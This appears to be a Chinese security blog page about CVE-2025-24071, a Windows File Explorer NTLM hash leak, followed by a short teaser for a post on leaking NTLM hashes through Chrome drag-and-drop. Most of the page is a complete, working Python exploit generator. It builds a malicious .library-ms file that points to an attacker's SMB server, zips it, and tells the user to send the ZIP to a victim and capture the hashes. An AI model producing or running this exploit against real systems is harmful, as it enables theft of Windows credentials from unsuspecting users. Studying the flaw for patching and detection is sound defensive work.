Windows 11文件资源管理器NTLM哈希泄露漏洞分析

Wed, 05 Nov 2025 22:53:49 +0800

Windows文件资源管理器Windows 11（23H2）NTLM哈希泄露

风险等级： 高

本地利用： 是

远程利用： 否

CVE编号： CVE-2025-24071

CWE编号： N/A

#!/usr/bin/env python3
# 漏洞标题：Windows文件资源管理器Windows 11（23H2）- NTLM哈希泄露
# 漏洞作者：Mohammed Idrees Banyamer
# Twitter/GitHub：https://github.com/mbanyamer
# 日期：2025-05-27
# CVE：CVE-2025-24071
# 厂商：Microsoft
# 受影响版本：Windows 10/11（所有支持.library-ms和SMB的版本）
# 测试环境：Windows 11（23H2）
# 类型：本地/远程（NTLM泄露）
# 平台：Windows
# 漏洞类型：信息泄露
# 描述：
#   Windows资源管理器在从ZIP压缩包中提取.library-ms文件时，会自动发起SMB认证请求。
#   这会导致NTLM凭证（哈希格式）泄露到攻击者控制的远程SMB服务器。
#   除了解压操作外，不需要任何用户交互。

import zipfile
from pathlib import Path
import argparse
import re
import sys
from colorama import Fore, Style

def create_library_ms(ip: str, filename: str, output_dir: Path) -> Path:
    """创建指向攻击者SMB服务器的恶意.library-ms文件"""
    payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>'''
    
    output_file = output_dir / f"{filename}.library-ms"
    output_file.write_text(payload, encoding="utf-8")
    return output_file

def build_zip(library_file: Path, output_zip: Path):
    """将.library-ms文件打包到ZIP压缩包中"""
    with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as archive:
        archive.write(library_file, arcname=library_file.name)
    print(f"{Fore.GREEN}[+] 已创建ZIP文件：{output_zip}{Style.RESET_ALL}")

def is_valid_ip(ip: str) -> bool:
    return re.match(r"^\d{1,3}(\.\d{1,3}){3}$", ip) is not None

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-24071 - 通过.library-ms ZIP压缩包进行NTLM哈希泄露",
        epilog="示例：\n  python3 CVE-2025-24071_tool.py -i 192.168.1.100 -n payload1 -o ./output_folder --keep",
        formatter_class=argparse.RawTextHelpFormatter
    )

    parser.add_argument("-i", "--ip", required=True, help="攻击者SMB IP地址（例如：192.168.1.100）")
    parser.add_argument("-n", "--name", default="malicious", help="基础文件名（默认：malicious）")
    parser.add_argument("-o", "--output", default="output", help="输出目录（默认：./output）")
    parser.add_argument("--keep", action="store_true", help="ZIP创建后保留.library-ms文件")

    args = parser.parse_args()

    if not is_valid_ip(args.ip):
        print(f"{Fore.RED}[!] 无效IP地址：{args.ip}{Style.RESET_ALL}")
        sys.exit(1)

    output_dir = Path(args.output)
    output_dir.mkdir(parents=True, exist_ok=True)

    print(f"{Fore.CYAN}[*] 正在生成恶意.library-ms文件...{Style.RESET_ALL}")
    library_file = create_library_ms(args.ip, args.name, output_dir)
    zip_file = output_dir / f"{args.name}.zip"
    build_zip(library_file, zip_file)

    if not args.keep:
        library_file.unlink()
        print(f"{Fore.YELLOW}[-] 已删除中间.library-ms文件{Style.RESET_ALL}")

    print(f"{Fore.MAGENTA}[!] 完成。将ZIP文件发送给受害者，并在您的SMB服务器上监听NTLM哈希。{Style.RESET_ALL}")

if __name__ == "__main__":
    main()

从Chrome拖拽泄露NTLM哈希：文件URL的安全隐患

Wed, 10 Sep 2025 23:20:44 +0800

从Chrome拖拽泄露NTLM哈希：文件URL的安全隐患

使用DragonHash捕获哈希

图1 - 我们对工作非常认真

基于Chromium的浏览器具有一套奇特的功能集，允许在浏览器中进行广泛的拖放操作。这一特性不仅可用于点击劫持攻击期间的"输入"操作（如本博客所示），还能让Web应用更像真正的文件处理器。例如，您可以将文件从Web应用拖拽到桌面。

NTLM哈希 on 办公AI智能小助手

Windows 11文件资源管理器NTLM哈希泄露漏洞分析

Windows文件资源管理器Windows 11（23H2）NTLM哈希泄露

从Chrome拖拽泄露NTLM哈希：文件URL的安全隐患

从Chrome拖拽泄露NTLM哈希：文件URL的安全隐患

使用DragonHash捕获哈希